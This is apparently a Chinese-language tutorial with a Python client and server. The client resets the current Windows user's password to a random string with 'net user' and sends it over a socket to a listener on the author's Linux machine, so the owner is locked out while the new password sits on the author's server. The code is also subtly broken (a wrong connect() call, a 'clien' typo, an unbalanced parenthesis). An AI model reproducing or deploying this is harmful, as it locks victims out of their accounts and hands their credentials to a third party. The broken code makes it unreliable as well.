分兩部分,一部分是client端,一部分是server端兩個,先運行server端,client端會在電腦上隨機生成一個密碼然後通過socket發給server端
client端代碼:
#coding=utf-8
#更改window密碼
#client.py
import socket
import getpass
import subprocess
import random
client=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #創建socket實例
client.connect('127.0.0.1',55555) #連接server端IP地址/端口按你自己實際情況來
user=getpass.getuser() #獲取計算機用戶名
psd=''
for j in range(1,10): #生成1-9的隨機數
m=str(random.randrange(0,10))
psd=psd+m
subprocess.Popen(['net','User',user,psd]) #在本地執行(類似於cmd命令)
client.send(psd.encode('utf-8')) #將密碼發送給server端
back_msg=clien.recv(1024)
client.close() #關閉socket
print(psd)
server端代碼:
#coding=utf-8
#更改window密碼
#client.py
import socket
server=socket.socket((socket.AF_INET, socket.SOCK_STREAM)
server.bind(('127.0.0.1',55555)) #綁定IP/端口
server.listen(5) #監聽
print('starting....')
conn,addr=server.accept() #連接
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()
首先先在我的Linux上運行server端,來等待接收來自client端傳過來的密碼
然後windows運行client端,它會顯示生成的密碼
現在再註銷或者是重啓輸入原始密碼就會發現密碼錯誤,密碼也已經發到我們的server端了
想改回密碼的話,不要關機,打開cmd輸入“net user 你的用戶名 你要改變的密碼”,然後回車就ok了